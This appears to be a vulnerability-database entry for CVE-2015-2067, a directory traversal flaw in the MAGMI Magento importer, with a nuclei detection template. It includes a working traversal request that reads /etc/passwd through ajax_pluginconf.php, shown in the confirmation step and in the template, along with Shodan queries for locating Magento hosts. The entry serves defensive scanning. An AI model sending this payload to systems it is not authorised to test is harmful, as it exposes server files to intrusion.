CVE-2015-2067· magmi project / magmi· CWE-22
Magento Server MAGMI - Directory Traversal
mediumseverity
5CVSS score
38.5%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Magento Server MAGMI (aka Magento Mass Importer) contains a directory traversal vulnerability in web/ajax_pluginconf.php. that allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.
Impact
An attacker can exploit this vulnerability to read arbitrary files on the server.
Fix
Apply the latest security patches and updates provided by Magento.
How to confirm it
Send: GET {{BaseURL}}/magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/passwd&plugintype=utilities&pluginclass=CustomSQLUtility
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2015-2067 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2015-2067
info:
name: Magento Server MAGMI - Directory Traversal
author: daffainfo
severity: medium
description: Magento Server MAGMI (aka Magento Mass Importer) contains a directory traversal vulnerability in web/ajax_pluginconf.php. that allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.
impact: |
An attacker can exploit this vulnerability to read arbitrary files on the server.
remediation: |
Apply the latest security patches and updates provided by Magento.
reference:
- https://www.exploit-db.com/exploits/35996
- https://nvd.nist.gov/vuln/detail/CVE-2015-2067
- http://packetstormsecurity.com/files/130250/Magento-Server-MAGMI-Cross-Site-Scripting-Local-File-Inclusion.html
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2015-2067
cwe-id: CWE-22
epss-score: 0.3846
epss-percentile: 0.98583
cpe: cpe:2.3:a:magmi_project:magmi:-:*:*:*:*:magento_server:*:*
metadata:
max-request: 1
vendor: magmi_project
product: magmi
framework: magento_server
shodan-query:
- http.component:"Magento"
- http.component:"magento"
tags: cve2015,cve,plugin,edb,packetstorm,lfi,magento,magmi,magmi_project,magento_server,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/passwd&plugintype=utilities&pluginclass=CustomSQLUtility"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://www.exploit-db.com/exploits/35996
- https://nvd.nist.gov/vuln/detail/CVE-2015-2067
- http://packetstormsecurity.com/files/130250/Magento-Server-MAGMI-Cross-Site-Scripting-Local-File-Inclusion.html
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from